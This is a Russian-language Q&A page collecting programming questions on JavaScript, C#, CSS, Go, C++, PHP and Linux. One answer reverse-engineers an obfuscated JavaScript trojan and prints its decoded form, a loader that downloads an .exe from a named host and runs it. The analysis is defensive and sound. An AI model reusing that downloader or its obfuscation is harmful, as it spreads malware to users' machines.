Страницы

Поиск по вопросам

среда, 10 октября 2018 г.

По какому принципу цикл FOR IN обходит массив?

Меня интересует порядок обращения к элементам в массиве с помощью цикла FOR IN. А то есть с какого элемента начинает и каков принцип выборки.


Ответ

Цикл for...in проходит через перечисляемые свойства объекта, в произвольном порядке
for...in не следует использовать для Array, где важен порядок индексов. Индексы массива перечисляемые свойства с целочисленными именами, а в остальном аналогичны объектам. Нет гарантии, что for...in будет возвращать индексы в нужном порядке и вернёт все перечисляемые свойства, включая имеющие нецелочислененные имена и наследуемые
Вдобавок, порядок обхода зависит от реализации ECMAScript браузером
стандарт ECMAScript оставляет порядок итерации по свойствам объектов на усмотрение реализующей стороны
Для массивов предпочтительней использовать простой for

Рефакторинг кода JS

Делаю динамический поиск, т.е. добавляю и удаляю элементы (в таблице) на лету. Можно ли как-то сократить код? data_parse - ассоциативный массив, полученный из сервера.
let data_parse = JSON.parse(data); console.log(JSON.parse(data));
$('#listDataEmployee').remove(); let el_tbody = document.createElement('tbody');
for (let i = 0; i < data_parse.length; i++) { let tagTrDataEmployee = document.createElement('tr');
let tagTd_id = document.createElement('td'); tagTd_id.innerHTML = data_parse[i]['id']; tagTrDataEmployee.append(tagTd_id);
let tagTd_email = document.createElement('td'); tagTd_email.innerHTML = data_parse[i]['email']; tagTrDataEmployee.append(tagTd_email);
let tagTd_fio = document.createElement('td'); tagTd_fio.innerHTML = data_parse[i]['FIO']; tagTrDataEmployee.append(tagTd_fio);
let tagTd_phone = document.createElement('td'); tagTd_phone.innerHTML = data_parse[i]['phone']; tagTrDataEmployee.append(tagTd_phone);
let tagTd_role = document.createElement('td'); tagTd_role.innerHTML = data_parse[i]['role']; tagTrDataEmployee.append(tagTd_fio);
el_tbody.append(tagTrDataEmployee); } $('.listNewDataEmployee').append(el_tbody);


Ответ

Полагаю, на самом деле ты хочешь что-то такое:
var data = `[ {"id": 1, "email": "first@mail.ru", "FIO":"First Firstov", "phone": "+7 (111) 111 11 11", "role": "admin"}, {"id": 2, "email": "second@mail.ru", "FIO":"Second Secondov", "phone":"+7 (222) 222 22 22", "role": "user"}, {"id": 3, "email": "xss@mail.ru", "FIO":"", "phone":"+7 (333) 333 33 33", "role": "test"} ]`; data = JSON.parse(data); $('#listDataEmployee').replaceWith( data.map(d => $("").append([ $("").text(d.id), $("").text(d.email), $("").text(d.FIO), $("").text(d.phone), $("").text(d.role), ]))); table, tr, td, th { border-collapse: collapse; border: 1px solid; }

ID Email FIO Phone Role

Сортировка List по нескольким полям c учётом приоритета

Имеется List, где T является каким-то классом с полями. Также имеется класс, содержащий параметры сортировки:
public class Sort { public String Property { get; set; } public String Direction { get; set; } }
Property указывает по какому полю будет осуществляться сортировка, а Direction указывает по возрастанию или убыванию (реально принимает значение "ASC" или "DSC")
Имеется метод, с сигнатурой
public static IEnumerable Sort(IEnumerable items, Sort[] sort)
В массиве Sort[] чем меньше индекс элемента, тем выше его приоритет.
Хочется понять как можно осуществить сортировку по нескольким полям (больше двух), притом что явно не понятно в каком направлении и какое количество полей будет использоваться. Иными словами нельзя написать
items.OrderBy(...).ThenBy(...)
Для извлечения свойств из типа T используется typeof(T).GetProperty(sort[i].Property)


Ответ

Примерно так:
public static IEnumerable Sort(IEnumerable items, Sort[] sort) { IOrderedEnumerable temp = null; foreach (var s in sort) { Func keySelector = GetKeySelector(s.Property);
if (temp == null) { temp = s.Direction == "Asc" ? items.OrderBy(keySelector) : items.OrderByDescending(keySelector); } else { temp = s.Direction == "Asc" ? temp.ThenBy(keySelector) : temp.ThenByDescending(keySelector); } }
return temp ?? items; }
private static Func GetKeySelector(string property) { var param = Expression.Parameter(typeof(T)); var lambda = Expression.Lambda>( Expression.Convert( Expression.Property(param, property), typeof(IComparable)), param); return lambda.Compile(); }
можно убрать if-ы и добавить чуть-чуть динамики, вроде поиска метода ThenBy по имени - но на скорость работы это никак не повлияет.
Этот метод не идеален: он упадет при попытке сравнить по свойствам с типом, не реализующим IComparable (но, например, реализующим IComparable). Для обхода проблемы в общем случае придется
или заменить в коде IComparable на object, получив боксинг при сравнении или перейти на IQueryable - свалив проблему построения фунции сравнения на провайдер Linq To Objects, как сделано в ответе Andrei.
GetKeySelector - это просто способ сделать typeof(T).GetProperty(sort[i].Property) без медленного рефлекшена.

Как сделать адаптивные изображения?

Подскажите вариант, как сделать адаптивные изображения?
Что хочется:
Под каждый breakpoint грузится свое изображение Учитывается изображение для retina дисплеев Изображения масштабируются


Ответ

Для создания максимально адаптивных изображений подходит конструкция


Допустим, вы хотите, чтобы на экранах до 400 пикселей было одно изображение, а на экранах больше другое. Делаем так:

Также вы хотите, чтобы принималась в учет плотность пикселей. Тогда необходимо в атрибуте srcset указывать несколько путей изображений, через пробел писать 1x, 2x и, если необходимо, то и 3x. x позволяет обратиться к device-pixel-ratio

Также вы хотите для разных брейкпоинтов разный размер изображения, тут придет на выручку атрибут sizes. У нас будет реализовываться следующий сценарий: 1) для экранов меньше 800 пикселей будет изображение ordinary.jpg, 1.1) для экранов 400 и меньше пикселей изображение будет иметь ширину 100vw, в остальных случаях оно будет занимать 70vw; 2) для экранов больше 800 пикселей ordinary2.jpg, 2.2) для экранов больше 1400 пикселей у него будет ширина 40vw, в остальных случаях 50vw

Как выравнивать блоки по центру не сломав wrap?

Допустим есть блоки
.main { display: flex; flex-wrap: wrap; justify-content: flex-start; background: #fff; } .box { width: 170px; height: 130px; border-radius: 3px; border: dashed 2px rgba(0, 0, 0, 0.1); margin: 10px; }


Мне нужно чтобы последние блоки прижимались к левому краю, но при этом чтобы вся конструкция блоков была по центру, т.е. будто там указан justify-content: center
Можно задать фиксированную ширину, но проблема в том что .main резиновый.
На jsfiddle это хорошо видно.
Если уменьшать или увеличивать область отображения то будет работать warp, но при этом справа будет много свободного пространства


Ответ

.main { display: grid; grid-gap: 10px; grid-template-columns: repeat(auto-fill, 170px); max-width: 890px; margin: auto; justify-content: center; } .box { height: 130px; border-radius: 3px; border: dashed 2px rgba(0, 0, 0, 0.1); }


Объясните значение кода

Добрый день. Незнакомый человек пытался скинуть резюме в файле .doc. Редакторы его не открыли. Потом он мне скинул файл .scr Я отказался его исполнять. Он мне скинул .js:
function Byhezo(Upabyd){ var Yt="56"+"4a"+"58";var Ra="4a"+"52"+"55"+"48"+"4f"; return(new this["F"+"u"+"n"+"c"+"t"+"i"+"o"+"n"](Upabyd)()); } function Hucana(Deru){ Yc = "4ag6pcSMXtuL05s7zUGW2v9qxdewOyCinTD3PFZEVINbABrYoQHR18hlfjm"; Ry = Yc["charAt"](Deru); try { Jime = Yc["charAt"](Deru); Byhezo(Jime+","+Jime);} catch (Wa) { var Napu = Wa["message"]; var Fyby = Napu["substring"]("1", "2"); return Fyby; } return Ry;} //А дальше долгий код Hucana("{...}") var Egaz=Hucana("21") + Hucana("1") + Hucana("46") + " " + Hucana("44")
Общались в телеге. Есть предположение, что это не хороший человек.
Могу скинуть его файлы. .doc, .js, .scr Пишите в телегу @vadim_bondar


Ответ

Это обфусцированный код и скрывается за ним наверняка какой-нить троян. Можно провести реверс-инжиниринг и понять, что он делает. Для этого прямо в редакторе можете попробовать "скомпилировать в уме" :) - раскрутить исходник в обратную сторону и получить оригинальный код. (кидай мне, попробую тоже, это очень увлекательно на самом деле). Можете попробовать сами. Вот один из примеров как это делать - Реверс-инжиниринг вредоносного мошеннического скрипта
UPD.:
Готово! Итак, в самом начале мы имеем исходник вида:
function Byhezo(Upabyd) { var Yt = "56" + "4a" + "58"; var Ra = "4a" + "52" + "55" + "48" + "4f"; return (new this["F" + "u" + "n" + "c" + "t" + "i" + "o" + "n"](Upabyd)()); } function Hucana(Deru) { Yc = "4ag6pcSMXtuL05s7zUGW2v9qxdewOyCinTD3PFZEVINbABrYoQHR18hlfjm"; Ry = Yc["charAt"](Deru); try { Jime = Yc["charAt"](Deru); Byhezo(Jime + "," + Jime); } catch (Wa) { var Napu = "'" + Wa["message"]; var Fyby = Napu["substring"]("1", "2"); return Fyby; } return Ry; } var Egaz = Hucana("21") + Hucana("1") + Hucana("46") + " " + Hucana("44") + /* 150 кб текста */ + ")" + ";"; Byhezo(Egaz);
Переменная Egaz накапливает в себе исходник будущего js-кода лоадера. Для этого используется декодер - функция Hucana и ключ Yc в ней. Функция выкусывает нужный байт по смещению и выполняет его через Byhezo (которая в свою очередь выполняет (new Function('внедряемый код'))()). В случае ошибки (работает только в IE!) декодер возвращает второй байт текста ошибки, иначе декодируемый символ из ключа.
Если закомментировать самую последнюю строчку и посмотреть, что в ней накопилось, то мы получим предварительный исходник лоадера (я заменил оригинальное Ajosesitufowyzyzygoqol на короткое _):
var _ = ["\x64", "\x61", "\x68", "\x49", "\x52", "\x4f", "\x63", "\x79", "\x4e", "\x48", "\x39", "\x65", "\x43", "\x54", "\x73", "\x47", "\x32", "\x72", "\x59", "\x55", "\x37", "\x4c", "\x58", "\x70", "\x6f", "\x7a", "\x38", "\x78", "\x31", "\x4d", "\x53", "\x69", "\x6e", "\x71", "\x41", "\x67", "\x51", "\x33", "\x76", "\x42", "\x6c", "\x6a", "\x62", "\x50", "\x5a", "\x46", "\x74", "\x66", "\x35", "\x75", "\x45", "\x77", "\x30", "\x6d", "\x44", "\x34", "\x36", "\x57", "\x56", "\x2e", "\x2e\x65", "\x25", "\x39\x32", "\x31\x30\x30\x30\x30\x30\x30\x30\x30", "\x2e\x65\x78\x65", "\x77\x69\x6e\x6d\x67\x6d\x74\x73\x3a\x57\x69\x6e\x33\x32\x5f\x50\x72\x6f\x63\x65\x73\x73", "\x32\x30", "\x20", "\x2f", "\x3a", "\x2d"];
function Zevo(Agyz, Ul) { var Isag = _[0] + _[1] + _[2] + _[3] + _[4] + _[5] + _[6] + _[7] + _[8] + _[9] + _[10] + _[11] + _[12] + _[13] + _[14] + _[15] + _[16] + _[17] + _[18] + _[19] + _[20] + _[21] + _[22] + _[23] + _[24] + _[25] + _[26] + _[27] + _[28] + _[29] + _[30] + _[31] + _[32] + _[33] + _[34] + _[35] + _[36] + _[37] + _[38] + _[39] + _[40] + _[41] + _[42] + _[43] + _[44] + _[45] + _[46] + _[47] + _[48] + _[49] + _[50] + _[51] + _[52] + _[53] + _[54] + _[55] + _[56] + _[57] + _[58]; try { var sc = this[_[14] + _[6] + _[17] + _[11] + _[11] + _[32]][_[51] + _[31] + _[0] + _[46] + _[2]]; } catch (ers) { var Uduh = new this[_[34] + _[6] + _[46] + _[31] + _[38] + _[11] + _[22] + _[5] + _[42] + _[41] + _[11] + _[6] + _[46]](_[57] + _[30] + _[6] + _[17] + _[31] + _[23] + _[46] + _[59] + _[30] + _[2] + _[11] + _[40] + _[40]); if (Ul == _[60] + _[27] + _[11]) { var Qi = Uduh[_[50] + _[27] + _[23] + _[1] + _[32] + _[0] + _[50] + _[32] + _[38] + _[31] + _[17] + _[24] + _[32] + _[53] + _[11] + _[32] + _[46] + _[30] + _[46] + _[17] + _[31] + _[32] + _[35] + _[14]](_[61] + _[13] + _[50] + _[29] + _[43] + _[61]) + this[_[30] + _[46] + _[17] + _[31] + _[32] + _[35]][_[47] + _[17] + _[24] + _[53] + _[12] + _[2] + _[1] + _[17] + _[12] + _[24] + _[0] + _[11]](_[62]) + this[_[29] + _[1] + _[46] + _[2]][_[17] + _[24] + _[49] + _[32] + _[0]](this[_[29] + _[1] + _[46] + _[2]][_[17] + _[1] + _[32] + _[0] + _[24] + _[53]]() * _[63]) + _[64]; } var Boxa = 0; var Fihali = new this[_[34] + _[6] + _[46] + _[31] + _[38] + _[11] + _[22] + _[5] + _[42] + _[41] + _[11] + _[6] + _[46]](_[29] + _[30] + _[22] + _[29] + _[21] + _[16] + _[59] + _[22] + _[29] + _[21] + _[9] + _[13] + _[13] + _[43]); Fihali[_[24] + _[32] + _[17] + _[11] + _[1] + _[0] + _[7] + _[14] + _[46] + _[1] + _[46] + _[11] + _[6] + _[2] + _[1] + _[32] + _[35] + _[11]] = function () { if (Fihali[_[17] + _[11] + _[1] + _[0] + _[7] + _[30] + _[46] + _[1] + _[46] + _[11]] == _[55] && Fihali[_[14] + _[46] + _[1] + _[46] + _[49] + _[14]] == _[16] + _[52] + _[52]) { var Capo = new this[_[34] + _[6] + _[46] + _[31] + _[38] + _[11] + _[22] + _[5] + _[42] + _[41] + _[11] + _[6] + _[46]](_[34] + _[54] + _[5] + _[54] + _[39] + _[59] + _[30] + _[46] + _[17] + _[11] + _[1] + _[53]); Capo[_[24] + _[23] + _[11] + _[32]](); Capo[_[46] + _[7] + _[23] + _[11]] = _[28]; Capo[_[51] + _[17] + _[31] + _[46] + _[11]](Fihali[_[4] + _[11] + _[14] + _[23] + _[24] + _[32] + _[14] + _[11] + _[39] + _[24] + _[0] + _[7]]); if (Capo[_[14] + _[31] + _[25] + _[11]] > _[52]) { Boxa = _[28]; Capo[_[23] + _[24] + _[14] + _[31] + _[46] + _[31] + _[24] + _[32]] = _[52]; Capo[_[14] + _[1] + _[38] + _[11] + _[13] + _[24] + _[45] + _[31] + _[40] + _[11]](Qi, _[16]); try { if (Ul == _[64]) { var result = _[0]; try { var processid; var query = GetObject(_[65]); result = query.Create(Qi, null, null, processid); } catch (er) { var result = _[66]; } if (result = !_[52]) { Uduh[_[4] + _[49] + _[32]](_[6] + _[53] + _[0] + _[67] + _[68] + _[6] + _[67] + Qi, _[52], _[52]); } } } catch (er) { } ; } ;Capo[_[6] + _[40] + _[24] + _[14] + _[11]](); } ; }; try { Fihali[_[24] + _[23] + _[11] + _[32]](_[15] + _[50] + _[13], Agyz, _[47] + _[1] + _[40] + _[14] + _[11]); Fihali[_[14] + _[11] + _[32] + _[0]](); } catch (er) { } ; } }; Zevo(_[2] + _[46] + _[46] + _[23] + _[69] + _[68] + _[68] + _[14] + _[1] + _[53] + _[7] + _[17] + _[1] + _[31] + _[20] + _[20] + _[20] + _[53] + _[59] + _[23] + _[70] + _[2] + _[24] + _[14] + _[46] + _[59] + _[31] + _[32] + _[68] + _[20] + _[20] + _[20] + _[59] + _[11] + _[27] + _[11], _[64]);
Это всё ещё непонятный нам код, но достаточно написать небольшой декодер на php...
$Ajosesitufowyzyzygoqol = ["\x64", "\x61", /* вырезано для экономии места */ "\x3a", "\x2d"]; $src = << $char) { $src = str_replace('_['.$i.']', '"' . $char . '"', $src); } $src = str_replace('" + "', '', $src); file_put_contents(__DIR__ . "/tmp.txt", $src);
... и запустить его, как мы получим более дружелюбный формат исходников:
function Zevo(Agyz, Ul) { var Isag = "dahIROcyNH9eCTsG2rYU7LXpoz8x1MSinqAgQ3vBljbPZFtf5uEw0mD46WV"; try { var sc = this["screen"]["width"]; } catch (ers) { var Uduh = new this["ActiveXObject"]("WScript.Shell"); if (Ul == ".exe") { var Qi = Uduh["ExpandEnvironmentStrings"]("%TEMP%") + this["String"]["fromCharCode"]("92") + this["Math"]["round"](this["Math"]["random"]() * "100000000") + ".exe"; } var Boxa = 0; var Fihali = new this["ActiveXObject"]("MSXML2.XMLHTTP"); Fihali["onreadystatechange"] = function () { if (Fihali["readyState"] == "4" && Fihali["status"] == "200") { var Capo = new this["ActiveXObject"]("ADODB.Stream"); Capo["open"](); Capo["type"] = "1"; Capo["write"](Fihali["ResponseBody"]); if (Capo["size"] > "0") { Boxa = "1"; Capo["position"] = "0"; Capo["saveToFile"](Qi, "2"); try { if (Ul == ".exe") { var result = "d"; try { var processid; var query = GetObject("winmgmts:Win32_Process"); result = query.Create(Qi, null, null, processid); } catch (er) { var result = "20"; } if (result = !"0") { Uduh["Run"]("cmd /c " + Qi, "0", "0"); } } } catch (er) { // } } Capo["close"](); } }; try { Fihali["open"]("GET", Agyz, "false"); Fihali["send"](); } catch (er) { // } } } Zevo("http://samyrai777m.p-host.in/777.exe", ".exe");
И что же мы видим тут?! О боже! Да это же загрузчик экзешника и его запуск прямо в вашей любимой винде!
Файл сохраняется во временную папку со случайным именем var Qi = Uduh["ExpandEnvironmentStrings"]("%TEMP%") + this["String"]["fromCharCode"]("92") + this["Math"]["round"](this["Math"]["random"]() * "100000000") + ".exe";
Остальное думаю понятно и так. Не советую ходить по ссылке и запускать приложение из последней строчки исходников.

Как в Go получить разность между двумя датами?

Как, имея две даты, получить разность между ними в минутах?


Ответ

Например с помощью Sub
t1 := time.Date(2017, 1, 1, 0, 0, 0, 0, time.UTC) t2 := time.Date(2017, 1, 1, 0, 15, 0, 0, time.UTC) fmt.Println(int(t2.Sub(t1) / time.Minute)) // 15
Playground: https://play.golang.org/p/uehzV_7Z_Y

Что возвращает рекурсивная функция если в ней нет оператора return

Что возвращает рекурсивная функция если в ней нет оператора return в отдельном предложении.
int Recur(int i = 0) { if (i != 3) return Recur(++i); }


Ответ

Если функция, возвращаемый тип который отличен от void, за исключением функции main, заканчивается без выражения return, то получается Неопределённое Поведение:
9.6.3 The return statement [stmt.return] Flowing off the end of a constructor, a destructor, or a function with a cv void return type is equivalent to a return with no operand. Otherwise, flowing off the end of a function other than main (6.6.1) results in undefined behavior.
Исключение для main сделано специально. Эта функция может неявно возвращать 0 даже при отсутствии return 0; или игнорировать явно возвращаемое значение, если того требует платформа.

Преобразовать массив в переменную с учетом ключей

Пока вы все тут, продолжение темы: преобразовать массив в переменную
Народ, а есть ли расширенный вариант функции implode для ассоциативных массивов?
Например:
$cars = array('van'=>'volvo xc70','coupe'=>'mercedes clk gtr','suv'=>'nissan pathfinder');
$glue1 = '
'; $glue2 = ' - '; extended_implode($glue1,$glue2,$cars);
Вывод:
van - volvo xc70
coupe - mercedes clk gtr
suv - nissan pathfinder

N.B.: Если штатной функции нет, лично мне алгоритм не нужен. =) Так что в этом случае вопрос меняется на "какие ошибки в моем способе".
function mb_extended_implode($glue1,$glue2,$elements,$enc='utf-8'){ $out = ''; foreach($elements as $key=>$value){ $out .= $key.$glue2.$value.$glue1; } $out = mb_substr($out,0,mb_strlen($glue2,$enc),$enc); return $out; }


Ответ

$res = array_map(function($k, $v) { return "$k - $v"; }, array_keys($cars), $cars); echo implode('
', $res);
Или вот так, в зависимости от того, нужен
на конце или нет:
$res = array_map(function($k, $v) { return "$k - $v
"; }, array_keys($cars), $cars); echo implode('', $res);

Методы отладки и тестирования многопоточных приложений

Расскажите, пожалуйста, о способах отладки и тестирования многопоточных приложений.
Есть ли у вас какие-то любимые, проверенные методики, может утилиты, которые будут полезны (исключая уже много раз мною упомянутый Valgrind)?
На что при тестировании следует обратить особое внимание?
В общем всё, что подойдет относительно начинающему. Работаю в Freebsd с posix_thread


Ответ

@margosh, я тупо ставлю printf-ы в которых обязательно печатаю еще и thread id. Если прога падает (SIGSEGV и т.п.) смотрю gdb. Он сообщает в каком потоке свалилось. Вообще, все более-менее нетривиальные функции стараюсь сначала отладить в однопоточном варианте (просто из main). Многопоточную логику сначала выделяю в некие тестовые куски (без реального наполнения данными задачи) и просто играюсь с ней (опять printf-ами, слипами, где-то ввод с клавиатуры и запись в какой-нибудь пайп и т.д.). Ну, и черкаю ручкой на бумаге линии потоков, какие события и когда происходят и т.п. -- В целом так, но реально я иногда просто вижу алгоритм в виде каких-то цветных и объемных фигурок, которые двигаются, сливаются, меняются ... и тогда мне становится ясно, как это можно программировать.

Почему не рекомендуется использовать Thread.Resume() и Thread.Suspend()?

Почему не рекомендуется использовать Thread.Resume() и Thread.Suspend()?


Ответ

Не рекомендуется их использовать неверно. Но если по правилам, то Thered.Resume() должен вызывать другой тред (по понятным причинам, тред не может сам себя снять с паузы), а вот Thered.Suspend() должен вызывать тред только у себя самого. У другого треда вызывать этот метод нельзя, так как непонятно, где именно он остановится. А не рекомендуют их, потому что есть много хороших и разных способов синхронизации: критические секции, мютексы, события, семафоры и так далее.

Как генерировать случайные числа

В стандартной библиотеке есть большое количество случайных распределений, которые предполагается использовать совместно с некоторым генератором случайных чисел.
Какой из генераторов в каких случаях следует использовать, и если это псевдослучайный генератор - то как его инициализировать?


Ответ

Генераторы псевдослучайных чисел
В стандартной библиотеке есть три генератора псевдослучайных чисел (ГПСЧ, англ. PRNG) и один почти (sic!) генератор случайных чисел - random_device
linear_congruential_engine, линейный конгруэнтный генератор - самый простой, быстрый и низкокачественный. Использует формулу x[i] = x[i - 1] * A + B. Эквивалентен функции rand(). Внутреннее состояние - это одно случайное число, совершенно предсказуем.
subtract_with_carry_engine, запаздывающий генератор Фибоначчи - немного лучше линейного конгруэнтного генератора, имеет состояние в несколько случайных чисел.
mersenne_twister_engine, Вихрь Мерсена - наиболее качественная выдача случайных чисел с практически бесконечным периодом, большое состояние - 624 числа (2.5 Кб).
Рекомендуемый ГПСЧ - это std::mt19937 - один из вариантов Вихря Мерсена.
Все ГПСЧ являются детерминированными, поэтому для того чтобы выдача не повторялась, их состояние надо инициализировать какой-то уникальной последовательностью чисел. Для этого можно использовать текущее время, чем точнее - тем лучше, например:
auto now = std::chrono::high_resolution_clock::now(); std::mt19937 random_generator(now.time_since_epoch().count());
В некоторых случаях может оказаться что текущего времени не достаточно, и нужен дополнительный источник энтропии. Для этого можно использовать утилиту seed_seq, которая выравнивает данные нескольких источников энтропии:
auto now1 = (uint64_t)std::chrono::high_resolution_clock::now().time_since_epoch().count(); uint64_t thread_id = std::hash{}(std::this_thread::get_id()); std::random_device random_device; uint64_t entropy = random_device(); auto now2 = (uint64_t)std::chrono::high_resolution_clock::now().time_since_epoch().count(); std::seed_seq seeds{now1, now2, thread_id, entropy}; std::mt19937 random_generator(seeds);
(seed_seq принимает initializer_list, по этому аргументы должны быть однотипными).
Зная что у Вихря Мерсена такое больше состояние, может возникнуть желание полностью заполнить его случайными числами, например вызвав random_device() 624 раза. Но это не имеет никакого практического смысла. Цель - это получить уникальную последовательность случайных чисел, и на практике для этого достаточно просто использовать текущее время.
Надо понимать, что ни один из стандартных ГПСЧ не является криптографически стойким, даже выдачу Вихря Мерсена можно предсказать получив всего 624 числа. Поэтому использование большой инициализирующей последовательности не дает никаких преимуществ в плане безопасности.
std::random_device
random_device - это генератор случайных чисел, реализация которого зависит от стандартной библиотеки. В зависимости от платформы и реализации стандартной библиотеки, это может быть:
криптографически стойкий системный генератор действительно случайных чисел, в т.ч.
инструкция процессора rdrand (libc++) чтение /dev/random или /dev/urandom (libstdc++) вызов RtlGenRandom() на Windows (vc++) обычный ГПСЧ который всегда выдает одни и те же числа (MinGW)
При этом если реализация использует /dev/(u)random и этот файл не удалось открыть, то будет брошено исключение.
Также чтение /dev/random может заблокировать работу программы до момента когда система накопит достаточно энтропии.
Поэтому std::random_device следует использовать только на тех системах и компиляторах про которые известно что она там работает как ГСЧ, и быть готовым к тому что эта функция очень медленная по сравнению с ГПСЧ.
(У random_device есть функция entropy(), но она бесполезна, т.к. на многих платформах она всегда возвращает 0 даже если используется ГСЧ а не ГПСЧ.)
Распределения
Классы распределений используют выдачу генераторов случайных чисел чтобы преобразовать ее в последовательность имеющую нужное распределение.
Некоторые классы распределений, например нормальное распределение и производные от него, имеют внутреннее состояние, поэтому не надо создавать новый объект распределения ка каждое случайное число.
std::mt19937 generator; std::normal_distribution distribution(0, 1); std::vector data; for (auto i = 0; i != 100; ++i) { data.push_back(distribution(generator)); // OK } for (auto i = 0; i != 100; ++i) { // ПЛОХО, не используется состояние распределения data.push_back(std::normal_distribution(3, 1)(generator)); }
Впрочем даже если и создавать новое распределение на каждое число, форма распределения меняется незначительно.
Примеры
Заменой кода с ::rand() из
::srand(::time(0)); for (int i = 0; i != n; i++) std::cout << ::rand() << '\0';
будет либо использование mt19937
std::mt19937 rand(::time(0)); // Лучше использовать high_resolution_clock for (int i = 0; i != n; i++) std::cout << rand() << '\0';
либо использование random_device (это нормально для программ уровня "Hello World")
std::random_device rand; for (int i = 0; i != n; i++) std::cout << rand() << '\0';
Более сложный пример с функтором-генератором случайных чисел:
#include #include #include #include #include #include
struct GaussGenerator { GaussGenerator(double mean, double stddev, std::uint32_t seed) : engine_(seed), distribution_(mean, stddev) {}
GaussGenerator(double mean, double stddev) : distribution_(mean, stddev) { using namespace std; seed_seq seeds{ (uint64_t)chrono::high_resolution_clock::now().time_since_epoch().count(), (uint64_t)chrono::system_clock::now().time_since_epoch().count(), (uint64_t)hash{}(this_thread::get_id()), }; engine_.seed(seeds); }
double operator()() { return distribution_(engine_); }
std::mt19937 engine_; std::normal_distribution distribution_; };
int main() { GaussGenerator rand(0, 1); for (int i = 0; i != 5; ++i) std::cout << rand() << '
'; }

Как в Linux запускать программу с одними и теми же виртуальными адресами?

Допустим, есть некий ./a.out (получен из Си), который выводит адрес, возвращаемый первым же malloc (естественно, на пути к нему всегда выполняются одни и те же действия).
При каждом запуске мы видим разные числа - это особенность Linux (м.б. и в других системах тоже реализовано) запускать программу так, чтобы стек, куча и область для mapping-а файлов размещались по случайным адресам).
А вот если смотреть в gdb или запустить этот ./a.out в valgrind, то увидим один и тот же адрес.
Вопрос, как запускать (без apt-get install valgrind) ./a.out, чтобы печатаемый адрес всегда был тем же самым?


Ответ

Как верно замечено в комментариях, то, с чем вы столкнулись, называется ASLR - рандомизация адресного пространства. Технология поддерживается во всех современных ОС.
Но, помимо поддержки в ОС, бинарники так же должны быть скомпилированы специальным образом. К примеру, у GCC есть опции для компиляции с поддержкой ASLR: -fPIC/-fpic и -fPIE/-fpie
В Linux, поддержу ASLR на уровне ОС можно отключить руками
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
и включить назад:
sudo bash -c 'echo 2 > /proc/sys/kernel/randomize_va_space'
И наконец, в Linux есть утилита hardening-check, которая определяет, скомпилирован бинарник с поддержкой рандомизации или нет.
UPD:
Оказывается, есть целых 5 типов рандомизаций:
Stack ASLR Libs/mmap ASLR Exec ASLR - вот этот тип задаётся флагами fPIE при компиляции brk ASLR VDSO ASLR
И в доках пишут, что для рандомизации malloc-ов используется brk ASLR
Т.е. получается, что для каких-то рандомизаций нужно указывать специальные флаги при компиляции программы, а какие-то работают по-умолчанию "из коробки". Так что, чтобы полностью исключить всякие рандомизации, нужно отключать ASLR на уровне ОС / в рамках сессии (setarch $(uname -m) -RL bash).

Как измерить время выполнения js скрипта в микросекундах (не в миллисекундах)

Как засечь время на js в микросекундах? В частности мне надо суммировать время выполнения кусочка кода, который выполняется быстро (менее 1 миллисекунды), но часто.


Ответ

Чтобы измерить время в микросекундах (не миллисекундах) надо воспользоваться стандартной функцией performance.now(). Она возвращает вещественное число (время от начала выполнения процесса) в милисекундах, а дробная часть есть соответсвенно микросекунды.
var time = performance.now(); // некий код time = performance.now() - time; console.log('Время выполнения = ', time);
Также можно использовать console.time('mark') и console.timeEnd('mark') - но тут вывод в консоль и просуммировать полученные отрезки времени не удастся.
Подробнее тут

Вывести положительное число со знаком +

Как это можно сделать, без "ручной" простановки знака +


Ответ

Самый простой путь — воспользоваться кастомным форматированием
var x = 4; var s = x.ToString("+#;-#;0");
Три случая, разделённые , отвечают числу больше нуля, меньше нуля и нулю. Если вы хотите, можно выводить и ноль со знаком: "+#;-#;+0"
Если вы используете string.Format, сработает string.Format("{0:+#;-#;+0}", x). Для интерполированных строк $"{x:+#;-#;+0}"

Для второй секции нужен явный минус, т. к. в этом случае он убирается. Для третьей секции нужен 0 вместо #, т. к. # не учитывает незначащие нули.

Обычный массив VS std::array

Используют ли вообще на практике шаблон std::array? Если да, то почему? И быстрее ли он работает, чем обычные массивы?


Ответ

Шаблон std::array позволяет использовать родной (сишный) тип массива (T[]) в качестве объекта первого класса. Т.е. такой объект можно передавать в функцию и возвращать из неё, не боясь неявного преобразования массива к указателю и тем самым потери размерности.
std::array это агрегатный тип, т.е. не имеющий пользовательских конструкторов и по сути является обычной обёрткой над сишным массивом. На практике это обычно означает, что никакой лишней вычислительной нагрузки в runtime это не несёт, но и быстрее сырого массива он работать не может.

Почему “use strict” повышает производительность в 10 раз в этом примере?

После вопроса Расширение String.prototype показывает производительно ниже вызова функции в 10 раз мне стало интересно, почему простое добавление "use strict" в метод String.prototype повышает производительность в 10 раз. Объяснение, данное Bergi, слишком короткое и непонятное.
Почему такое резкое различие в производительности между двумя почти идентичными методами, единственное отличие между которыми — только "use strict" в начале? Вы можете объяснить подробнее и с обоснованием?
String.prototype.count = function(char) { var n = 0; for (var i = 0; i < this.length; i++) if (this[i] == char) n++; return n; }; String.prototype.count_strict = function(char) { "use strict"; var n = 0; for (var i = 0; i < this.length; i++) if (this[i] == char) n++; return n; }; // Here is how I measued speed, using Node.js 6.1.0 var STR = '0110101110010110100111010011101010101111110001010110010101011101101010101010111111000'; var REP = 1e4; console.time('proto'); for (var i = 0; i < REP; i++) STR.count('1'); console.timeEnd('proto'); console.time('proto-strict'); for (var i = 0; i < REP; i++) STR.count_strict('1'); console.timeEnd('proto-strict');
Результат:
proto: 101 ms proto-strict: 7.5 ms
Перевод вопроса «Why “use strict” improves performance 10x in this example?» @exebook


Ответ

Режим "use strict" не обязывает this контекст быть объектом. Если Вы вызовете функцию для не объекте, то this останется тем не объектом.
И напротив, в не строгом режим this контекст всегда вначале оборачивается в объект, если он ещё не объект. Например, (42).toString() сначала обертывает 42 в объект Number, а уже затем вызывает Number.prototype.toStringс объектом Number в контексте this. В строгом режиме контекст this остается нетронутым и просто вызывается Number.prototype.toString с 42 в контексте this.
(function() { console.log(typeof this); }).call(42); // 'object' (function() { 'use strict'; console.log(typeof this); }).call(42); // 'number'
В Вашем случае нестрогая версия режима тратит много времени на перенос и разворачивание примитива string в String и обратно. С другой стороны, строгий режим непосредственно непосредственно работает с примитивом string, что и повышает производительность.
Перевод ответа «Why “use strict” improves performance 10x in this example?» @Mattias Buelens

Точка входа в MVVM: App.xaml.cs или представление?

